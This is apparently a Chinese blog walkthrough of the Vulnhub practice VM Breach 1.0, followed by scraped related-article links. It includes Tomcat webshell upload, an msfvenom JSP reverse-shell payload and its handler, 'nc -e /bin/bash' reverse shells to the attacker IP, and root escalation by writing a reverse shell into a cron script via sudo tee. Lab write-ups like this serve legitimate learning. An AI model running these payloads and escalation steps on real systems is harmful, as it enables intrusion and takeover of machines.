环境搭建

环境下载:

https://www.vulnhub.com/entry/breach-1,152/

环境描述:

Vulnhub 中对此环境的描述:

VM 配置有静态 IP 地址 (192.168.110.140),因此您需要将仅主机适配器配置到该子网。

这里我用的是 VMware ,文件 -> 打开 .ova 文件创建新的虚拟机。

这边插一段不相关的内容,浅浅的了解一下。

虚拟机三种网络模式

1、仅主机模式:也就是host_only,这种模式仅仅只让虚拟机与本地物理机通信,不可以上网;
2、NAT模式:这种模式保留仅主机模式的功能下,还能让主机上网;
3、桥接模式:直接让虚拟机使用本地主机的网卡上网。

搭建环境

攻击机(kail)IP:192.168.110.129
靶机IP:192.168.110.140

最后开启两个虚拟机。

信息收集

端口扫描:

nmap -p- -sF 192.168.110.140


指纹识别:

渗透测试

信息搜集

访问靶机的 80 端口,在源码中有一串 base64,二次解码后可以得到一串字符串。

pgibbons:damnitfeel$goodtobeagang$ta

点击图片跳转到另一个页面:

用上面获得的账密登录。

可以用 exploit 来找找有没有这个 cms 的漏洞,有漏洞,但是页面我们没有权限进入。

导入PCAP、TLS 到 wireshark

仔细观察可以发现在收件箱里面有个 .keystore 文件,这个是 java 的密钥库、用来进行通信加密用的。

在账户信息这里可以看到 content 。

其中包含了一个数据包和,一个密钥密码为 tomcat

可以用 keytool 来提取证书,可以用 kail 自带的 keytool。

根据提示使用语句,口令就是邮件里提到的 tomcat


然后就是把密钥导进 wireshark。(编辑 -> 首选项)


端口我们扫到过,tomcat 的默认端口。

获得 tomcat 后台地址和密码

http 流里面有管理员密码

/_M@nag3Me/html
Authorization: Basic dG9tY2F0OlR0XDVEOEYoIyEqdT1HKTRtN3pC (base64)
tomcat:Tt\5D8F(#!*u=G)4m7zB

写马 tomcat getshell (三种 or more)

直接上传大马反弹 shell

报错页面有 tomcat 的版本,那么我们就可以搜索这个版本的漏洞。

(这个 tomcat 页面其他师傅说可以用 bp 打开)

tomcat 服务页面上传文件处,上传大马。

jsp 大马,给它转成 .war 格式的文件。

上传完后,访问 /xxx/xxx.jsp 页面并输入密码,上面的那个大马密码是 ninty


但是总是会被定时删除,所以我们可以反弹 shell 保持连接。

nc -e /bin/bash 192.168.110.129 9090


利用 msfvenom 生成 shell 并反弹

msfconsole
msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.110.129 lport=9898 -f war -o shell.war

开启监听:

use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.110.129
set lport 9898
run

上传 shell.war,并访问 /shell/ 。

启动 bash 模式。

python -c 'import pty;pty.spawn("/bin/bash")'

利用 冰蝎 生成 shell 并反弹

下载链接

把 冰蝎自带的 jsp 马压缩为 zip 格式,然后把 .zip 改为 .war,并上传。

但是不知道为什么一直连接失败,代理也开了,还有就是用的时候卡的一批,有没有大佬知道的,@ 我一下,多谢了。

信息收集

cat /etc/passwd

cat /etc/passwd

一大堆 UID 和 GID ,那么我们要注意哪些呢。

UID:UID的值为0时,表示系统管理员;(1-99)为系统预设账号;(100-499)保留给一些服务使用;(500-65535)给一般使用者使用,user用户的UID和GID分别是1000:1000。

setuid, setgid 可以来改变这种设置.  setuid: 设置使文件在执行阶段具有文件所有者的权限。典型的文件是 /usr/bin/passwd. 如果一般用户执行该文件, 则在执行过程中, 该文件可以获得root权限, 从而可以更改用户的密码。  setgid: 该权限只对目录有效,目录被设置该位后, 任何用户在此目录下创建的文件都具有和该目录所属的组相同的组。

发现 milton和 blumbergh 账号。

登录 mysql

在 /var/www 下面有个 php 文件,里面有数据库的密码。

翻看数据库获得用户密码

找到 milton 密码 :6450d89bd3aff1d893b85d3ad65d2ec2

md5 解密一下,得到密码 thelaststraw

切换为用户 milton

su milton
thelaststraw


暂时没有在 /home/milton 下发现有用的。

查一下当前是什么系统,操作系统内核是什么。


系统内核版本为:Linux Breach 4.2.0-27-generic,不存在Ubuntu本地提权漏洞。存在本地提权漏洞内核版本是:Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04)

查看 milton 的 .bash_history 命令

发现 milton 用户曾经切换过 blumbergh 用户,需要 blumbergh 的密码。

找寻 blumbergh 密码

在 /var/www/html/images/bill.png 的 exif 信息有疑似密码的字符串:coffeestains

可以用 exiftool 来查询 exif 信息,或者用 strings 提取出图片可视字符,也可以用在线网站查询。

查看 blumbergh 历史命令


tidyup.sh 的作用是每三分钟,对 webapps 下的文件进行一次清理,这就是为什么上传的 shell 老是被删除的原因。

该定时任务 root 权限。

sudo -l 后发现能够以 root 权限执行 tee 命令和 tidyup.sh 脚本,而 tee 命令可以把输入的数据,复制到文件里。

那么也就是说我们可以把反弹 shell 的语句用 tee 命令写入tidyup.sh 脚本文件里,并执行这个脚本,那么不就可以拿到 root 权限了嘛。

利用定时任务提权

先把反弹语句写入 shell.txt。
echo "nc -e /bin/bash 192.168.110.129 9999" > shell.txt
再把 shell.txt 的内容写入 tidyup.sh 中。
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh


写入成功。

等待 nc 反弹 root

此时就是 root 权限了,发现 flag 文件。

读取 flag

可以把 flair.jpg 给复制到我们可以查看的目录,比如 /var/www/html/images/flair.jpg

cp flair.jpg /var/www/html/images/flair.jpg


总结

跟着大佬们的步伐结合自己的思考,学会了很多东西,很多平时不曾注意到的点,也稍微知道了一些渗透的简要步骤,还有就是谢谢大佬们的无私。

参考文章

渗透测试工具一一Nmap(从初级到高级)
Vulnhub-Breach1.0
SSL证书中的keystore是什么
Msfvenom介绍及利用
反弹shell的方法总结
msfvenom之——生成各类Payload命令

Vulnhub 渗透练习(一)—— Breach 1.0相关推荐

  1. 0宽字符加密_vulnhub实战靶场攻略:Breach 1.0

    项目介绍 VulnHub是一个面向所有人开放的黑客游戏靶场练习平台,里面有好多锻炼黑客技术,学习黑客技术的游戏虚拟机供所有人下载攻打,里面大部分靶场主机都是需要控制虚拟机,获得主机的最高权限才算挑战成 ...

  2. VulnHub渗透测试实战靶场 - THE ETHER: EVILSCIENCE

    VulnHub渗透测试实战靶场 - THE ETHER: EVILSCIENCE 环境下载 THE ETHER: EVILSCIENCE靶机搭建 渗透测试 信息搜集 漏洞挖掘 getshell 提权 ...

  3. VulnHub渗透测试实战靶场-HA: FORENSICS

    VulnHub渗透测试实战靶场-HA: FORENSICS 题目描述 环境下载 HA: FORENSICS靶机搭建 渗透测试 信息搜集 Flag获取 Flag-1 Flag-2 Flag-3 Flag ...

  4. VulnHub渗透测试实战靶场 - Odin:1

    VulnHub渗透测试实战靶场 - Odin:1 题目描述 环境下载 NULLY CYBERSECURITY: 1靶机搭建 渗透测试 信息搜集 漏洞挖掘 getshell 提权 题目描述 Odin v ...

  5. VulnHub渗透测试实战靶场 - POTATO (SUNCSR): 1

    VulnHub渗透测试实战靶场 - POTATO(SUNCSR): 1 环境下载 POTATO (SUNCSR): 1靶机搭建 渗透测试 信息搜集 漏洞挖掘 getshell 提权 环境下载 戳此进行 ...

  6. VulnHub靶场之BBS (cute): 1.0.1

    VulnHub靶场之BBS (cute): 1.0.1 扫描IP以及端口: 先不管其他东西,直接访问80,web页面: 目录扫描: 访问index.php: 发现使用的是CuteNews 2.1.2, ...

  7. VulnHub渗透实战Billu_b0x

    简介 VulnHub是一个面向所有人开放的安全靶场,里面有很多安全环境,只要下载相关镜像,在相关虚拟机上面运行就可以练习相关靶场了.里面设计了好多关,如果有耐心一定可以到达峰顶.许多考oscp人员,也 ...

  8. 渗透测试神器CS(4.0)的使用

    CS CS简介 CS功能 安装CS CS的基本使用 深入标题介绍 Beacon Commands 基础操作演示 CS简介 CS 是Cobalt Strike的简称,是一款渗透测试神器,常被业界人称为C ...

  9. VulnHub渗透测试实战靶场笔记(持续更新)

    靶机(一)----Breach1.0 靶机说明 Breach1.0是一个难度为初级到中级的BooT2Root/CTF挑战. VM虚机配置有静态IP地址(192.168.110.140),需要将虚拟机网 ...

最新文章

  1. 我总结的30条架构原则
  2. 我的秋招之路(开篇)
  3. DBA日常工作内容和职责
  4. Python基础-List找重复数
  5. VS2005+ACCESS WEB程序出错数据访问权限错误的解决方法
  6. 百度地图java批量获得经纬度_从百度地图API接口批量获取地点的经纬度
  7. [WARNING] Unable to autodetect 'javac' path, using 'javac' from the environment.
  8. 使用CrossOver安装第三方软件
  9. 【detectron】FPN网络中RPN构建与相应的损失函数
  10. Android开发之指南针
  11. 面试题--5个数能组成多少中不同的二叉搜索树的结构--卡特兰数
  12. 逃跑吧少年服务器维护中怎么回事,逃跑吧少年7月6日更新维护公告
  13. 李宏毅ML笔记12:半监督
  14. 数据结构导论c语言实现——顺序表
  15. 【mac】如何取消桌面麦克风
  16. Synology Drive Client首次安装登录,提示:用户名/密码无效或用户权限不足
  17. Python100days_Learning_DAY7
  18. 投稿到掘金的文章为什么不通过?
  19. bzoj1149: [CTSC2007]风玲Mobiles
  20. 模拟彩票摇号的小游戏(31选7)

热门文章

  1. 老黄历:编码式的统治策略
  2. 【腾讯TMQ】走进标准化测试
  3. C# Solidworks二次开发:自动创建点位时需要注意的问题
  4. python最好用的第三方库资源下载网址
  5. 霍夫变换阀值选取问题
  6. 用数万元购买个人网站域名是否值得?
  7. 高通平台蓝牙--清除alarm issue
  8. NextCloud安装及配置(docker-compose)
  9. 【leetcode24-----1比特与2比特字符】
  10. 仿劲舞团flash游戏按键的实现